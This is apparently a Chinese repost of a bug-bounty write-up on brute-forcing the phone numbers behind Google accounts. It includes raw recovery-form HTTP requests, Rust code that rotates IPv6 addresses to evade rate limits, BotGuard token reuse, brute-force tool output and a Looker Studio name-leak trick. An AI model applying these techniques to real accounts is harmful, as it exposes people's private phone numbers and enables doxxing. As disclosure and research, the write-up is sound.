一个$1,337的漏洞

一个$1,337的漏洞

迪哥讲事 2025-06-11 12:30

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

****# 防走失:https://gugesay.com/archives/4434

**不想错过任何消息?设置星标↓ ↓ ↓


前言

几个月前,国外白帽小哥在浏览器上禁用了 javascript,同时测试在现代网络中是否有任何 Google 服务在没有 JS 的情况下仍能正常运行。有趣的是,用户名恢复表单仍然有效!
*

file

file

这让白帽小哥感到惊讶,因为以前认为这些账户恢复表单自2018年以来都是需要JavaScript的,因为它们依赖于由严重混淆的 javascript 代码生成的 botguard 解决方案来以防滥用。

深入了解

用户名恢复表单似乎允许检查恢复电子邮件或电话号码是否与特定显示名称相关联,这需要 2 个 HTTP 请求:

请求包 1:

POST /signin/usernamerecovery HTTP/2Host: accounts.google.comCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0oContent-Length: 81Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359

Cookie 和 gxf 值来自初始页面 HTML。

响应包1:

HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/name?ess=..<SNIP>..&hl=en

这为我们提供了一个 ess 值,该值与我们用于下一个 HTTP 请求的电话号码相关联。

请求包2:

POST /signin/usernamerecovery/lookup HTTP/2Host: accounts.google.comCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0oOrigin: https://accounts.google.comContent-Type: application/x-www-form-urlencodedPriority: u=0, ichallengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith

该请求允许我们检查是否存在具有该电话号码以及显示名称 “John Smith” 的 Google 帐户。

响应包 2(未找到帐户):

HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...

响应包 2(找到帐户):

HTTP/2 302 FoundContent-Type: text/html; charset=UTF-8Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...

如何爆破

白帽小哥的第一次尝试是徒劳的,因为在几次请求后 Google 会对 IP 地址进行速率限制,并显示验证码:

file

file

我们可以通过使用代理来解决这个问题,以荷兰为例, 忘记密码流程为我们提供了电话提示 •• ••••••03。

对于荷兰手机号码,它们总是以 06 开头,这意味着我们必须对 6 位数字进行爆破,10的 6 次方 = 1,000,000 ,虽然可以通过代理实现,但是否有更好的方法呢?

IPv6?

大多数服务提供商(如 Vultr)都提供 /64 IP 范围,这为我们提供了 18,446,744,073,709,551,616 个IP地址。

理论上,我们可以使用 IPv6 来变换用于每次请求的 IP 地址,从而绕过这个速率限制!

HTTP 服务器似乎也支持 IPv6:

~ $ curl -6 https://accounts.google.com<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><!-- GSE Default Error --><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F">here</A>.</BODY></HTML>

为了测试这一点,白帽小哥通过网络接口路由了 IPv6 范围,然后开始在 gpb 上工作,使用 reqwest 的 local_address 方法在其 ClientBuilder 上设置IP地址为子网中的随机IP:

pub fn get_rand_ipv6(subnet: &str) -> IpAddr {    let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() {        Ok(cidr) => {            let ipv6 = cidr.first_address();            let length = cidr.network_length();            (ipv6, length)        }        Err(_) => {            panic!("invalid IPv6 subnet");        }    };    let ipv6_u128: u128 = u128::from(ipv6);    let rand: u128 = random();    let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);    let host_part = (rand << prefix_len) >> prefix_len;    let result = net_part | host_part;    IpAddr::V6(Ipv6Addr::from(result))}pub fn create_client(subnet: &str, user_agent: &str) -> Client {    let ip = get_rand_ipv6(subnet);    Client::builder()        .redirect(redirect::Policy::none())        .danger_accept_invalid_certs(true)        .user_agent(user_agent)        .local_address(Some(ip))        .build().unwrap()}

白帽小哥运行了上面的 PoC 代码,但还是会出现验证码页面。似乎出于某种原因,禁用 JS 表单的数据中心 IP 地址总是会出现验证码,该死!

使用 JS 表单中的 BotGuard 令牌

白帽小哥再次查看 2 个请求,看看是否有办法解决这个问题,其中bgresponse=js_disabled
 引起了白帽小哥的注意。

小哥依稀记得,在启用 JS 的帐户恢复表单上,botguard 令牌是通过 bgRequest
 参数传递的。

file

file

如果将 js_disabled
 替换为启用 JS 的表单请求中的 botguard 令牌,会怎样呢?测试了一下, 居然奏效了!

botguard 令牌似乎对 No-JS 表单没有请求限制,但这些随机的“人”是谁呢?

$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000Starting with 3000 threads...HIT: +31612345603HIT: +31623456703HIT: +31634567803HIT: +31645678903HIT: +31656789003HIT: +31658854003HIT: +31667890103HIT: +31678901203HIT: +31689012303HIT: +31690123403HIT: +31701234503HIT: +31712345603HIT: +31723456703

通过继续深入了解,白帽小哥发现这些人都是拥有 Google 帐户名称“Henry”但没有设置姓氏的人,以及一部最后 2 位数字为 03 的手机。

对于这些数字,它将返回“Henry”和任何姓氏的 usernamerecovery/challenge

通过添加一些额外的代码来验证使用名字和随机姓氏(如 0fasfk1AFko1wf) 的可能命中。如果仍然命中,就会被过滤掉,像下面这样:

$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000Starting with 3000 threads...HIT: +31658854003Finished.

在实际操作中,不太可能有一次以上的命中,因为另一个谷歌用户拥有相同的完整显示名称、最后两位数字以及国家代码的情况并不常见。

还需要解决的几件事

现在我们有一个基本的 PoC ,但仍有一些问题需要解决:
– 我们如何知道受害者的手机属于哪个国家/地区?

  • 如何获取受害者的 Google 帐户显示的名称?

关于第一个问题,我们可以根据忘记密码流程提供给我们的电话掩码来找出国家/地区代码。

Google 实际上只是对每个号码使用 libphonenumbers 的 “国家格式”。 以下是一些示例:

{    ...    "• (•••) •••-••-••": [        "ru"    ],    "•• ••••••••": [        "nl"    ],    "••••• ••••••": [        "gb"    ],    "(•••) •••-••••": [        "us"    ]}

白帽小哥编写了一个脚本,该脚本收集了所有国家/地区的掩码格式
mask.json[1]

针对第二个问题,最初在 2023 年,Google 更改了他们的政策,仅在目标与用户有直接交互(电子邮件、共享文档等)时才显示名称,因此他们慢慢地从端点中删除了名称。

到了 2024 年 4 月,他们更新了内部 FocusBackend 服务,以完全停止返回未经身份验证的帐户的显示名称,几乎删除了所有显示名称。

要找到显示名称的泄漏会很棘手,但最终在查看了随机的 Google 产品后,小哥发现可以创建一个 Looker Studio 文档,将其所有权转移给受害者,受害者的显示名称便会在主页上泄露, 而且受害者无需交互 :

file

file

进一步优化

通过使用 
libphonenumbers[2]
 的号码验证,小哥能够为每个国家/地区生成一个包含移动电话前缀、已知区号和位数format.json

 ...  "nl": {        "code": "31",        "area_codes": ["61", "62", "63", "64", "65", "68"],        "digits": [7]    }, ...

白帽小哥还实现了实时 libphonenumber 验证 ,以减少对 Google API 的无效查询。

对于 botguard 令牌,小哥使用 chromedp 编写了一个 Go 脚本 ,只需一个简单的 API 调用即可生成 BotGuard 令牌:

$ curl http://localhost:7912/api/generate_bgtoken{  "bgToken": "<generated_botguard_token>"}

组合在一起

  1. 通过 Looker Studio 泄露 Google 帐户显示名称

  2. 完成该电子邮件的忘记密码流程并获取被屏蔽的电话号码

  3. 使用显示名称和掩码电话运行 gpb 程序以暴力破解电话号码

一个,337的漏洞

爆破所需的时间

使用具有消费级规格 (16 个 vcpu) 的 0.30 USD/小时的服务器,白帽小哥能够实现每秒大约 40000 次检查。

file

file

甚至还可以通过其它服务(如 PayPal)中密码重置流程的电话号码提示来显著减少此时间,这些服务提供了更多数字(例如 +14•••••1779)

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

一个,337的漏洞

往期回顾

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

原文:https://brutecat.com/articles/leaking-google-phones#how-do-we-know-which-country-code-a-victim-39-s-phone-is-

参考资料

[1] 
mask.json: https://github.com/ddd/gpb/blob/main/data/mask.json

[2] 
libphonenumbers: https://github.com/google/libphonenumber

  • END –